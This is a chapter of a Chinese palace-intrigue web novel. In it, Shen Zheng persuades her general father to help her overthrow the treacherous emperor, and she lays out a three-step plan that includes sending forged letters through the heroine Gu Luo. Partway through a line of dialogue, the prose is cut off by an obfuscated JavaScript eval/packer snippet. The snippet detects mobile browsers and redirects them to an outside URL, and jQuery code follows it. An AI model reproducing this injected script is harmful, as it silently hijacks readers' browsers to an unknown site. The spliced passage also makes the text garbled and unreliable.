56.复仇计划
作品:《满级大佬今天也在装神仙》 确定眼前这人真的是失踪的女儿,沈威心神俱震。
但到底是经历过风浪的老将,他将到了嘴边的惊呼咽回去,脸上的肌肉剧烈抽动了几下。
“你这脸是怎么了?陛下说你被……”
“都是假的,是完颜彻!”
沈峥眼中蓄满恨意,语速极快地将宝霞寺的陷阱、暗卫的追杀、完颜彻的忘恩负义与蛇蝎心肠,以及顾落如何从天而降救下她,竹筒倒豆子般说了出来。
沈威听着,脸色从最初的震惊转为铁青,再由铁青化为惨白,最后是火山爆发前岩浆般的赤红。
他紧攥的拳头咯咯作响,仿佛下一秒就要拔刀冲进皇宫。
他从未料到,那个他尽心辅佐登基的男人,竟能如此狠毒卑劣!利用他女儿,榨干价值,再像丢弃垃圾一样杀人灭口?!
“畜牲——”沈威从牙缝里挤出这个字,一腔滔天怒火和锥心的后怕——若非侠士相救,他已永远失去了唯一的女儿!
然而这时,房外传来脚步声,是沈威的亲兵统领。
“将军,属下有要事禀报。”
书房气氛瞬间凝固。
沈峥冲沈威摇头,声音气若游丝:“不能……有眼线……”
沈威眉头一拧。眼线?他的亲兵?
即便不敢相信自己身边的人有叛徒,但现在这时候不能出差错。正要开口让亲兵离开,一直靠在窗边静静听着他们叙旧的顾落直起身,对他轻轻摆了摆手,示意噤声。
顾落的身影消失在门帘后。
二人静立不动,过了会儿,亲兵沉重的脚步远去。
门帘再次掀开,顾落悄无声息地走了回来,神色平静得仿佛只是出去倒了杯茶。
“他走了,不会再有人来打扰。”
沈威还没搞清楚究竟发生了什么,沈峥早已对顾落稀奇的手段习以为常。
她抓住这宝贵的时间,直视沈威的双眼,斩钉截铁地说道:“父亲,我要复仇,我要推翻完颜彻。”
沈威怀疑自己耳朵听岔了:“你说什么?!”
“我要当皇帝。”沈峥的声音不高,却带着一种破釜沉舟、玉石俱焚的决绝,“完颜彻不死,我们父女绝无活路,沈家满门也会被他以各种借口铲除!就算我们侥幸逃过,换别人坐上那个位置,我们沈家一样是心腹大患,没有新帝会容得下我们!父亲,您告诉我,我们还有别的退路吗?”
沈威如遭雷击,踉跄一步,撞在身后的椅背上。
“可女子称帝……这是冒天下之大不韪!”
他下意识地想反驳这惊世骇俗、违背伦常的想法,但“退路”两个字像重锤砸在他的心上。
没有退路!完颜彻的狠毒已经昭然若揭,沈家无论是否忠诚,都已经成了他眼中必须拔除的刺!拥立新君?新君就能容忍一个曾统领禁军、威望极高的沈家吗?
沈峥的话如同锋利的匕首,剖开了血淋淋的现实。
看着沈威崩裂的表情,沈峥的神情却冷静到近乎冷酷。
她本来也不是娇滴滴的人,辅佐完颜彻这十年所经历的腥风血雨丝毫不少,而完颜彻变脸的绝情彻底抹去她最后一丝顾虑。
“与其坐以待毙,任人宰割,不如我们自己去争。你说女子不能称帝?古有武皇临朝称制,开千古未有之局。自古律法万千,未尝有一字禁女子称帝。天命在德不在男,江山择能不在闺,这皇帝,我为何做不得?”
沈峥深吸口气:“而且,我并非不自量力。完颜彻对朝堂的把控并非铁板一块,那些被他打压、排挤的旧臣,还有心怀怨怼的宗室……这些力量,我们都可以争取!我知道完颜彻的底牌,知道他做过的一切肮脏勾当。父亲,您手握兵权,您在军中的声望,就是我们最大的依仗,我们需要您!”
沈威看着女儿那张假面下流露出的、属于他沈家血脉的刚烈与倔强。
不单只是仇恨冲昏大脑,沈峥是真的想要坐上那个位置。
为权,为利,为大金不再掌控在一个狼心狗肺、忘恩负义的畜牲手里……
沈威轻叹,实在是荒谬,惊世骇俗。可——
他闭上了眼睛,脑海中闪过完颜彻那张虚伪安抚的脸,闪过妻子早逝后他与女儿相依为命的点点滴滴,闪过沈家百年将门的声誉……
再睁开时,那眼中的挣扎痛苦已然被坚毅所取代。
他重重地点头:“好!峥儿,爹帮你。爹拼上这条老命,只要我沈威还有一口气在,就为你……为我的女儿,杀出一条血路!这反,爹跟你造了!”
“完颜彻他不仁,休怪我们不义!”
沈峥眼泪不受控制地汹涌而出,扑通一声跪倒在沈威面前,紧紧抱住父亲的腿,压抑着声音痛哭起来。
“父亲……”
沈威颤抖着手轻抚她发顶,父女二人良久才平静下来。
扶起沈峥后,沈威目光落在了顾落身上,他郑重一礼:“玉岩女侠,沈威多谢你救命之恩!大恩大德,沈家没齿难忘!”
顾落抱拳回礼:“沈将军不必多礼。江湖儿女嫉恶如仇,路见不平自是拔刀相助。”
“女侠好一副侠义心肠。”沈威满脸感慨道,看着顾落却仍有几分试探,“只是小女今后的计划,成则坐拥江山、封侯拜相。败则满门抄斩、株连九族。女侠,当真要如此冒险?”
他实在想不明白,这么个绝世高手为什么非要参与篡位之争?甚至听女儿所言,好像还是她挑拨起来的?
这玉岩女侠,究竟是侠肝义胆,还是另有图谋?
听见沈威这好似怀疑的话,沈峥心中一紧,连忙就要解释。
而顾落只是爽朗一笑:“听闻沈姑娘的遭遇,我对那皇帝嗤之以鼻。这天下非完颜家一人之天下,我亦希望高位上的皇帝德才兼备,若私德有亏,又怎能治理好天下?而沈姑娘既有此志,我自当助她一臂之力。”
沈威被顾落这般心胸震惊,不禁惭愧:“是在下以小人之心度君子之腹了。”
“无妨。”
沈峥松了口气,她就怕他们三人有隔阂。
“既然已经说清,接下来便商议计划吧。”
“等会儿。”沈威却抬手打断,严肃道,“还有一个大麻烦。”
“完颜彻身边似乎有一个非常神秘的谋士,神出鬼没,手段诡谲,绝非寻常武者。”
听他这么一说,沈峥也想起来了。
“我知道,但我也从未见过他。那人是在半年前出现的,直接效忠于完颜彻。完颜彻十分警觉,有意无意阻止我与他接触。“
“自从那人到来,我们的一切计划都推行地十分顺利。我怀疑,当初秦王和一些反对完颜彻的重臣一夜之间暴毙或失心疯,就与此人有关。我曾暗中查探,却连一丝痕迹都摸不到。”
沈威下了定论:“此人不除,如芒在背,恐怕会直接搅乱我们的计划。”
还没等他们商量如何解决这个问题,顾落抬眸:“他,交给我。”
沈峥马上点头,对顾落的能力毫不怀疑。
“好,神秘人交给女侠对付,我和父亲专注朝堂之事。时间紧迫,我长话短说。我的计划分三步走。”
“第一步,沈府内部必须肃清!父亲,您装作一无所知,继续搜寻我的下落,麻痹完颜彻。同时,暗中甄别他安插在您身边和禁军中的眼线,但不必急于清除,否则容易过早暴露,将他们逐渐排除权利中心即可。您的心腹中,必有叛徒!”
沈峥语气斩钉截铁,她太了解完颜彻的疑心和手段。
“选出绝对忠诚、能与您共进退的势力,牢牢掌控禁军核心力量,这是我们至关重要的武力倚仗。”
沈威道:“放心,此事我已有眉目,定在最短时间内清理门户,握紧刀柄!”
“第二步,”沈峥条理清晰,继续道,“暗中联合朝中对完颜彻不满的官员
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334009|194149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“完颜彻登基时日尚短,根基看似稳固,实则暗流汹涌。大半朝堂都是被他以雷霆手段和那神秘人的诡谲手段慑服,还有不少势力,或因利益受损,或因旧主情谊,或因不满其暴虐阴鸷,暗中不服。这些人,就是我们的盟友!”
她顿了顿,嘴角勾起一抹冰冷的弧度。
“而我作为他的皇后,他一面要维持与我伉俪情深的假象骗我继续为他卖力,另一面也确实需要我的扶持,自然要和我共议朝堂机密。”
“他拉拢谁、打压谁、忌惮谁,甚至他与某些重臣之间那些见不得光的交易、许诺和背叛,我都一清二楚。完颜彻没有想到我能活下来,所以对我没有丝毫隐瞒,可现在,这些就成了我的筹码!”
顾落颔首:“那第三步呢?”
“秦王余党。秦王虽死,但他的首席谋士文先生逃脱了,那人被尊为“鬼算”,掌控了秦王留下的大部分力量。我会尽力联系他。”
“整理好大概人员后,我打算把所有人约在一起见面,亲自说服。”
三步计划说完,沈峥看着二人,谦逊道:“时间紧迫,计划粗糙,父亲、女侠,你们看有没有什么要改,或补充的。”
顾落挑了挑眉,眼中有几分欣赏。沈峥的心思之缜密、手段之老辣,超过她预期,看来天道担心的事不会发生了。
她摇了摇头。
而沈威早已经热泪盈眶,既为女儿的成长和谋略感到一丝欣慰,又为她所经历的痛苦揪心。
他把手按在沈峥肩上,沉声说道:“阿峥,你已经长大,胸有丘壑、谋略出众,为父为你感到骄傲。以后,不是你以沈家为荣,而是沈家以你为荣。”
“父亲……”沈峥心中触动,抬手放在父亲手上,“我会让沈家,成为史书上浓墨重彩的辉煌一笔。”
不知不觉已是月上中天,沈峥和顾落不能久留沈府,再交代一些事后,她们便趁着夜色前往郊外沈家的一处废弃别苑——听涛苑落脚,那里更安全,也更方便行事。
接下来的日子,沈峥如同一只织网的蜘蛛,在顾落的协助下,开始了一场隐秘而凶险的串联。
名单上,吏部侍郎孙启元:因反对完颜彻清洗旧臣被贬为员外郎,门生故旧众多。
安远侯赵珣:宗室长辈,不满完颜彻得位手段,被剥夺实权。
前羽林卫中郎将李敢:家人被完颜彻所杀,潜逃在外,据信在城西黑市活动。
……
以及那位文先生,沈峥费了番力气,也得到了对方的些许信息。
沈峥坐在院中翻着手里的花名册:“但还不能过早暴露我们的身份,万一有人出卖或被完颜彻察觉,我们所有努力功亏一篑。”
“女侠,”她眼睛亮亮地看向顾落,“我需要你的帮助。 ”
本来还以为沈峥自己就能搞定,已经无聊到劈柴的顾落听见终于有自己的用武之地,把斧头一丢,欣然点头:“要我做什么?”
“冒然以陌生人的身份接触他们,他们肯定会有抵触怀疑的情绪,也难以把他们约出来见面。”
“所以我要伪造书信,以他们各自的名义联系对方。”沈峥语出惊人,“女侠武功高强,送信之事,想必易如反掌。我需要你将特定的密信,悄无声息地送到他们各自的枕边、书案、甚至密室之中。”
“信的内容,我会根据每个人的处境和痛点来写。对受排挤的忠直之臣,暗示完颜彻欲除之而后快;对被胁迫的,点明其把柄已被送信者掌握,但可提供庇护;而秦王余党,背了绑架皇后这么大一个锅,肯定恨得咬牙切齿,想要复仇。”
顾落看着沈峥,她泰然自若、神采奕奕的脸在阳光下焕发出奇异的光彩,那日悬崖边的绝望早已消失无踪。
她不再是被抛弃的棋子,而是蛰伏在阴影中的棋手。
顾落想,她挑人的眼光还真不赖。
“好,交给我吧。”

